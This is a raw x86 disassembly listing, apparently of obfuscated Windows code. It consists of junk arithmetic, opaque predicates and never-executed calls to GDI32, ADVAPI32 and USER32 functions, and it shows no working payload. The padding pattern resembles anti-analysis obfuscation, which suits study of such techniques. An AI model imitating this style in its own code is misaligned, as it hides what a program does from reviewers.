mov dword [ebp - 0xbc], 0x4392f209
mov dword [ebp - 0x1dc], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x954], 0
je 0x4546be
cmp dword [ebp - 0x1c], 1
jle 0x454643
mov dword [ebp - 0x314], 1
jmp 0x45464a
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x314], eax
jge 0x454661
mov dword [ebp - 0x5cc], 1
jmp 0x454668
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x44c], 0xdd5d
cmp dword [ebp - 0x44c], 6
jg 0x454694
push 8
pop eax
test eax, eax
jne 0x454694
and dword [ebp - 0x31c], 0
jmp 0x45469e
mov dword [ebp - 0x31c], 1
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0x31c]
cmp eax, 0xa40f
jge 0x4546be
mov dword [ebp - 0x534], 1
jmp 0x4546c5
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x534]
cmp eax, 0x30f8
je 0x4546e2
mov dword [ebp - 0x324], 1
jmp 0x4546e9
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x324]
sub eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x1dc]
je 0x454712
mov eax, 0xfffa
test eax, eax
jne 0x454712
and dword [ebp - 0x638], 0
jmp 0x45471c
mov dword [ebp - 0x638], 1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1dc]
cmp dword [ebp + eax*4 - 0x954], ecx
jg 0x454743
mov dword [ebp - 0x454], 1
jmp 0x45474a
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x454]
cmp eax, 0xc28c
jne 0x454769
mov dword [ebp - 0x32c], 1
jmp 0x454770
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0xbc], 3
jmp 0x454795
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x4547c7
mov byte [ebp - 0x72], 0
movzx eax, byte [ebp - 0x72]
test eax, eax
je 0x4547c5
push 0x10bb
push 0
push 0
push 0x197d
push 0
push 0x8e6
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x454788
jmp 0x4545fb
mov dword [ebp - 0x20], 0
jmp 0x4547dc
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x4565ba
mov dword [ebp - 0x11c], 5
push 1
lea ecx, [ebp - 0x880]
call fcn.00421789
push 3
lea ecx, [ebp - 0x714]
call fcn.00421789
mov dword [ebp - 0xc], 0
jmp 0x45481a
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jge 0x454830
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x8c0], 1
jmp 0x454813
mov dword [ebp - 0xc], 0
jmp 0x454840
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jge 0x45485c
push dword [ebp - 0xc]
lea ecx, [ebp - 0x880]
call fcn.0042182a
mov dword [eax], 0x121f90ef
jmp 0x454839
mov dword [ebp - 0xc], 0
jmp 0x45486c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x454888
push dword [ebp - 0xc]
lea ecx, [ebp - 0x714]
call fcn.0042182a
mov dword [eax], 0x1c946b43
jmp 0x454865
mov dword [ebp - 0x11c], 0
jmp 0x4548a1
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x454955
mov dword [ebp - 0x124], 0xfffffff6
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x4ec], 0xcd49598a
mov dword [ebp - 0x154], 0
jmp 0x4548e5
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x454901
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x9b4], 0x534bf8f0
jmp 0x4548d8
mov dword [ebp - 0x124], 0
jmp 0x45491a
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jg 0x454950
mov dword [ebp - 0x844], 5
mov dword [ebp - 0x77c], 8
mov dword [ebp - 0x79c], 0xfffffffe
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
jmp 0x45490d
jmp 0x454894
push 0
lea ecx, [ebp - 0x714]
call fcn.0042182a
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x334]
mov dword [ecx], eax
lea ecx, [ebp - 0x714]
call fcn.00421825
lea ecx, [ebp - 0x880]
call fcn.00421825
mov dword [ebp - 0xb4], 0x4392f209
mov dword [ebp - 0x630], 0xcea5d6c0
mov dword [ebp - 0x62c], 0xcea5d6c0
mov dword [ebp - 0x628], 0xcea5d6c0
mov dword [ebp - 0x624], 0xcea5d6c0
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x630], 0xffffffe5
jmp 0x4549ef
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x630]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x630], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x630], 0xffffffe6
jle 0x454a93
push 1
lea ecx, [ebp - 0x6ac]
call fcn.00421789
mov dword [ebp - 0x17c], 0
jmp 0x454a29
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jge 0x454a4b
push dword [ebp - 0x17c]
lea ecx, [ebp - 0x6ac]
call fcn.0042182a
mov dword [eax], 0xfffffffb
jmp 0x454a1c
push 0
lea ecx, [ebp - 0x6ac]
call fcn.0042182a
cmp dword [eax], 0
je 0x454a6a
lea ecx, [ebp - 0x6ac]
call fcn.00421825
jmp 0x454a93
mov byte [ebp - 0x73], 0
movzx eax, byte [ebp - 0x73]
test eax, eax
je 0x454a83
push 0
push 0x24b9
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
lea ecx, [ebp - 0x6ac]
call fcn.00421825
jmp 0x4549d4
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x454aad
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x1e4], 1
mov dword [ebp - 0xd4], 0xd95e17ca
mov dword [ebp - 0x1b4], 0xdfba22e9
mov dword [ebp - 0x55c], 0xe3e4
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x748], 0xfffffff9
mov dword [ebp - 0x744], 0xfffffff9
mov dword [ebp - 0x740], 0xfffffff9
mov dword [ebp - 0x73c], 0xfffffff9
mov dword [ebp - 0x678], 1
mov dword [ebp - 0x784], 0xfffffffb
mov dword [ebp - 0x7a0], 0x3e73
mov dword [ebp - 0x78c], 0xfffffff9
mov dword [ebp - 0x7a8], 0xffffffff
mov dword [ebp - 0x798], 0xbab
mov dword [ebp - 0x7b0], 0
mov dword [ebp - 0x7b8], 0xdcec
mov dword [ebp - 0x7a4], 0x497ea9b9
mov dword [ebp - 0x84c], 0xe48f
mov dword [ebp - 0x7ac], 5
mov dword [ebp - 0x74c], 2
mov dword [ebp - 0x8f8], 0xcb69acb3
mov dword [ebp - 0x8f4], 0xcb69acb3
mov dword [ebp - 0x8f0], 0xcb69acb3
mov dword [ebp - 0x8ec], 0xcb69acb3
mov dword [ebp - 0x4f4], 3
push 1
lea ecx, [ebp - 0x890]
call fcn.00421789
mov dword [ebp - 0x3c], 0
jmp 0x454bce
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x454be4
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x9d0], 0xfffffffd
jmp 0x454bc7
mov dword [ebp - 0x3c], 0
jmp 0x454bf4
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x454c0d
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x890]
call fcn.0042182a
and dword [eax], 0
jmp 0x454bed
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0xd4]
sub eax, 0x53e1
sub eax, dword [ebp - 0x55c]
cmp dword [ebp - 0x1b4], eax
jg 0x454c4a
mov dword [ebp - 0x45c], 1
jmp 0x454c51
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x854], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x748]
cmp dword [ebp - 0x1b4], eax
jg 0x454c8a
mov dword [ebp - 0x33c], 1
jmp 0x454c91
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0xd4]
sub eax, dword [ebp - 0x33c]
je 0x454cb4
cmp dword [ebp - 0x55c], 0
je 0x454cb4
mov dword [ebp - 0x344], 1
jmp 0x454cbb
and dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 0x3b0a6d08
jg 0x454cd3
mov dword [ebp - 0x464], 1
jmp 0x454cda
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0xb0ca
jl 0x454cf8
cmp dword [ebp - 0x1f4], 0
jne 0x454cf8
and dword [ebp - 0x34c], 0
jmp 0x454d02
mov dword [ebp - 0x34c], 1
mov eax, dword [ebp - 0xd4]
imul ecx, dword [ebp - 0x34c], 0xde6b
imul eax, ecx
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x4f4]
dec eax
mov dword [ebp - 0x4f4], eax
lea ecx, [ebp - 0x890]
call fcn.00421825
mov dword [ebp - 0xa4], 0xd444
mov dword [ebp - 0x1bc], 0x5f99
push 3
lea ecx, [ebp - 0x708]
call fcn.00421789
mov dword [ebp - 0x5dc], 0x368a9017
mov dword [ebp - 0x30], 0
jmp 0x454d6e
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x454d8a
push dword [ebp - 0x30]
lea ecx, [ebp - 0x708]
call fcn.0042182a
mov dword [eax], 1
jmp 0x454d67
mov dword [ebp - 0x30], 0
jmp 0x454d9a
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x454db0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x794], 0xffffffff
jmp 0x454d93
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x7bc], eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa4]
test eax, eax
je 0x454de2
cmp dword [ebp - 0x1bc], 0
je 0x454de2
mov dword [ebp - 0x354], 1
jmp 0x454de9
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x354], eax
jg 0x454e03
mov dword [ebp - 0x46c], 1
jmp 0x454e0a
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x46c], eax
jle 0x454e24
mov dword [ebp - 0x35c], 1
jmp 0x454e2b
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x35c], eax
jle 0x454e45
mov dword [ebp - 0x53c], 1
jmp 0x454e4c
and dword [ebp - 0x53c], 0
push 2
lea ecx, [ebp - 0x708]
call fcn.0042182a
mov ecx, dword [ebp - 0x53c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
sub eax, dword [ebp - 0x5dc]
cmp dword [ebp - 0xa4], eax
jg 0x454e8a
mov eax, 0xfffe
test eax, eax
je 0x454e8a
mov dword [ebp - 0x364], 1
jmp 0x454e91
and dword [ebp - 0x364], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0x794], ecx
lea ecx, [ebp - 0x708]
call fcn.00421825
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x944], 0
je 0x454f4d
cmp dword [ebp - 0x20], 1
jle 0x454ed2
mov dword [ebp - 0x474], 1
jmp 0x454ed9
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x474], eax
jge 0x454ef0
mov dword [ebp - 0x640], 1
jmp 0x454ef7
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x8fc], eax
mov dword [ebp - 0x36c], 0xdd5d
cmp dword [ebp - 0x36c], 6
jg 0x454f23
push 8
pop eax
test eax, eax
jne 0x454f23
and dword [ebp - 0x4fc], 0
jmp 0x454f2d
mov dword [ebp - 0x4fc], 1
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x4fc]
cmp eax, 0xa40f
jge 0x454f4d
mov dword [ebp - 0x374], 1
jmp 0x454f54
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x374]
cmp eax, 0x30f8
je 0x454f71
mov dword [ebp - 0x47c], 1
jmp 0x454f78
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
sub eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x1e4]
je 0x454fa1
mov eax, 0xfffa
test eax, eax
jne 0x454fa1
and dword [ebp - 0x5e4], 0
jmp 0x454fab
mov dword [ebp - 0x5e4], 1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7c4], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1e4]
cmp dword [ebp + eax*4 - 0x944], ecx
jg 0x454fd2
mov dword [ebp - 0x37c], 1
jmp 0x454fd9
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x1e4]
add eax, dword [ebp - 0x37c]
cmp eax, 0xc28c
jne 0x454ff8
mov dword [ebp - 0x578], 1
jmp 0x454fff
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x64], 0xde2bbef7
mov dword [ebp - 0x394], 0xc25b054d
mov dword [ebp - 0x384], 0xc924b541
mov dword [ebp - 0x484], 3
push 1
lea ecx, [ebp - 0x674]
call fcn.00421789
mov dword [ebp - 0x39c], 0xb4af7bdd
mov dword [ebp - 0x34], 0
jmp 0x455057
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x455070
push dword [ebp - 0x34]
lea ecx, [ebp - 0x674]
call fcn.0042182a
or dword [eax], 0xffffffff
jmp 0x455050
mov dword [ebp - 0x34], 0
jmp 0x455080
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x455096
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x96c], 0xffffffff
jmp 0x455079
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x484], eax
jg 0x4550c2
mov dword [ebp - 0x38c], 1
jmp 0x4550c9
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0xfffffffc
ja 0x4550de
mov dword [ebp - 0x504], 1
jmp 0x4550e5
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x504], eax
jne 0x4550fc
mov dword [ebp - 0x48c], 1
jmp 0x455103
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x48c]
jne 0x455126
mov dword [ebp - 0x5ec], 1
jmp 0x45512d
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x85c], eax
push 0
lea ecx, [ebp - 0x674]
call fcn.0042182a
xor eax, eax
je 0x455165
push 0
lea ecx, [ebp - 0x674]
call fcn.0042182a
cmp dword [eax], 0
je 0x455165
mov dword [ebp - 0x1c4], 1
jmp 0x45516c
and dword [ebp - 0x1c4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp + eax - 0x96c], ecx
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
sub eax, dword [ebp - 0x64]
cmp dword [ebp - 0x64], eax
jge 0x4551b7
push 0
lea ecx, [ebp - 0x674]
call fcn.0042182a
cmp dword [eax], 0
je 0x4551b7
mov dword [ebp - 0x544], 1
jmp 0x4551be
and dword [ebp - 0x544], 0
imul eax, dword [ebp - 0x544], 0xf825
cmp eax, 0x6dd1
jl 0x4551db
mov dword [ebp - 0x3a4], 1
jmp 0x4551e2
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x77], 0
movzx eax, byte [ebp - 0x77]
test eax, eax
je 0x4551ff
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
lea ecx, [ebp - 0x674]
call fcn.00421825
mov dword [ebp - 0xb4], 3
jmp 0x455223
cmp dword [ebp - 0xb4], 0
jl 0x4565b5
mov dword [ebp - 0x44], 0xfffe
mov dword [ebp - 0xa8], 0x2d8cb4c2
mov dword [ebp - 8], 0x82c4475e
mov dword [ebp - 0x15c], 2
mov dword [ebp - 0x98], 0x79cc099a
mov dword [ebp - 0xac], 0xfffffffe
mov dword [ebp - 0xa0], 0xfffffff9
mov dword [ebp - 0x200], 1
mov dword [ebp - 0x650], 0xbe583c6d
mov dword [ebp - 0x12c], 0
jmp 0x45529d
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x4552b9
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x20c], 0xfffffffc
jmp 0x455290
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
inc ecx
mov dword [ebp - 0xa0], ecx
test eax, eax
jne 0x455336
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20c]
mov dword [ebp - 0x7cc], eax
mov dword [ebp - 0x98], 0x2570e81d
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x98], eax
jne 0x45531d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20c], 0
je 0x45531d
mov dword [ebp - 0x494], 1
jmp 0x455324
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 4
je 0x455336
and dword [ebp - 0x3ac], 0
jmp 0x455340
mov dword [ebp - 0x3ac], 1
cmp dword [ebp - 0x3ac], 0xffffffff
jne 0x455355
mov dword [ebp - 0x50c], 1
jmp 0x45535c
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x50c], eax
je 0x455376
mov dword [ebp - 0x3b4], 1
jmp 0x45537d
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jne 0x4553aa
mov dword [ebp - 0x49c], 1
jmp 0x4553b1
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x49c]
je 0x4553c8
mov dword [ebp - 0x3bc], 1
jmp 0x4553cf
and dword [ebp - 0x3bc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20c]
cmp dword [ebp - 0x3bc], eax
jl 0x4553f0
mov dword [ebp - 0x648], 1
jmp 0x4553f7
and dword [ebp - 0x648], 0
cmp dword [ebp - 8], 0x80366e52
je 0x45540c
mov dword [ebp - 0x564], 1
jmp 0x455413
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x564], eax
jge 0x45542a
mov dword [ebp - 0x3c4], 1
jmp 0x455431
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x3c4]
jle 0x45544b
mov dword [ebp - 0x5f4], 1
jmp 0x455452
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x8d0], eax
mov eax, 0x5ad6
test eax, eax
jne 0x455470
mov dword [ebp - 0x4a4], 1
jmp 0x455477
and dword [ebp - 0x4a4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x20c]
cmp dword [ebp - 0x4a4], eax
jl 0x45549a
cmp dword [ebp - 0x44], 0
jne 0x45549a
and dword [ebp - 0x3cc], 0
jmp 0x4554a4
mov dword [ebp - 0x3cc], 1
cmp dword [ebp - 0x3cc], 1
jae 0x4554b9
mov dword [ebp - 0x514], 1
jmp 0x4554c0
and dword [ebp - 0x514], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20c]
cmp dword [ebp - 0x514], eax
jl 0x4554e1
mov dword [ebp - 0x3d4], 1
jmp 0x4554e8
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x3d4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xac], 0
jmp 0x45550d
cmp dword [ebp - 0xac], 0xb
je 0x455943
mov dword [ebp - 0x4c], 0x20b45845
mov dword [ebp - 0x5fc], 0xb7745ddb
mov dword [ebp - 0x98], 0xffffffff
cmp dword [ebp - 0x98], 0
jne 0x455550
cmp dword [ebp - 0x15c], 0
jne 0x455550
and dword [ebp - 0x51c], 0
jmp 0x45555a
mov dword [ebp - 0x51c], 1
cmp dword [ebp - 0x4c], 0
jne 0x4555d4
cmp dword [ebp - 0x4c], 0x6c20b133
je 0x455575
mov dword [ebp - 0x3e4], 1
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x4c], eax
jg 0x4555fb
push 4
lea ecx, [ebp - 0x218]
call fcn.00421789
mov dword [ebp - 0x604], 0x835357f4
mov dword [ebp - 0x310], 0xf3f7e813
mov dword [ebp - 0x1d4], 1
mov dword [ebp - 0x1ec], 1
mov dword [ebp - 0x10], 0
jmp 0x455988
cmp dword [ebp - 0x10], 4
jge 0x4559a4
push dword [ebp - 0x10]
lea ecx, [ebp - 0x218]
call fcn.0042182a
mov dword [eax], 3
jmp 0x455981
mov dword [ebp - 0x10], 0
jmp 0x4559b4
jmp 0x4547d5
mov dword [ebp - 0x1c8], 1
mov dword [ebp - 0x61c], 0x383c67ee
mov dword [ebp - 0x38], 0
jmp 0x4565de
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x4565f4
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x684], 9
jmp 0x4565d7
mov dword [ebp - 0x38], 0
jmp 0x456604
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x45661a
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x698], 0x8d3a18e4
jmp 0x4565fd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x684]
mov dword [ebp - 0x3b8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp + eax - 0x698], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x684]
cmp eax, dword [ebp - 0x3b8]
jl 0x456661
mov dword [ebp - 0x3c0], 1
jmp 0x456668
and dword [ebp - 0x3c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x684]
add eax, dword [ebp - 0x3c0]
cmp eax, 0x3358
jl 0x45668e
mov dword [ebp - 0x3c8], 1
jmp 0x456695
and dword [ebp - 0x3c8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x684]
sub eax, dword [ebp - 0x3c8]
add eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x3d0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x684], ecx
mov eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x3d0], eax
jl 0x4566e1
mov dword [ebp - 0x3d8], 1
jmp 0x4566e8
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x3d8], eax
jne 0x456702
mov dword [ebp - 0x3e0], 1
jmp 0x456709
and dword [ebp - 0x3e0], 0
cmp dword [ebp - 0x3e0], 7
jge 0x45671e
mov dword [ebp - 0x3e8], 1
jmp 0x456725
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x61c], eax
jmp 0x4570c1
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x128], 0
jmp 0x456756
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 3
jge 0x456772
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x978], 0
jmp 0x456749
mov dword [ebp - 0x24], 0
jmp 0x456782
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff0
jle 0x4569a9
push 2
lea ecx, [ebp - 0x5ac]
call fcn.00421789
mov dword [ebp - 0x3f8], 0xfffffffb
mov dword [ebp - 0x40], 0
jmp 0x4567b3
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x4567cf
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5ac]
call fcn.0042182a
mov dword [eax], 7
jmp 0x4567ac
mov dword [ebp - 0x40], 0
jmp 0x4567df
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x4567f5
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x990], 1
jmp 0x4567d8
push 1
lea ecx, [ebp - 0x5ac]
call fcn.0042182a
and dword [eax], 0
jmp 0x45682b
push 1
lea ecx, [ebp - 0x5ac]
call fcn.0042182a
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x3f0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x5ac]
call fcn.0042182a
cmp dword [eax], 0xffffffe3
jge 0x456999
mov dword [ebp - 0x408], 8
mov dword [ebp - 0x400], 1
mov dword [ebp - 0x668], 0x3d1aa12a
xor eax, eax
inc eax
je 0x45693b
mov dword [ebp - 0x3f8], 0xfffffffc
cmp dword [ebp - 0x3f8], 0x310c
jge 0x45688a
mov dword [ebp - 0x418], 1
jmp 0x456891
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x408]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x400], eax
mov eax, dword [ebp - 0x400]
sub eax, 0x9f08
cmp eax, dword [ebp - 0x408]
jge 0x4568c0
mov dword [ebp - 0x410], 1
jmp 0x4568c7
and dword [ebp - 0x410], 0
push 1
lea ecx, [ebp - 0x5ac]
call fcn.0042182a
mov ecx, dword [ebp - 0x410]
cmp ecx, dword [eax]
jg 0x4568ea
mov dword [ebp - 0x1d0], 1
jmp 0x4568f1
and dword [ebp - 0x1d0], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1d0]
mov dword [ebp + eax - 0x990], ecx
mov eax, dword [ebp - 0x418]
cmp eax, dword [ebp - 0x1d0]
jl 0x45691e
mov dword [ebp - 0x420], 1
jmp 0x456925
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
neg eax
je 0x45693b
mov dword [ebp - 0x428], 1
jmp 0x456942
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x428], eax
jle 0x45695f
mov eax, 0xa7f4ea14
test eax, eax
jne 0x45695f
and dword [ebp - 0x430], 0
jmp 0x456969
mov dword [ebp - 0x430], 1
cmp dword [ebp - 0x430], 0x4e2bf5f4
jl 0x456981
mov dword [ebp - 0x438], 1
jmp 0x456988
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x668], eax
jmp 0x456807
lea ecx, [ebp - 0x5ac]
call fcn.00421825
jmp 0x45677b
mov dword [ebp - 0x24], 0
jmp 0x4569b9
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x4569cf
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x978], 1
jmp 0x4569b2
mov dword [ebp - 4], 0xfffffffd
mov dword [ebp - 0x68], 0x252604
mov eax, dword [ebp - 4]
shl eax, 1
cmp dword [ebp - 4], eax
jg 0x4569f3
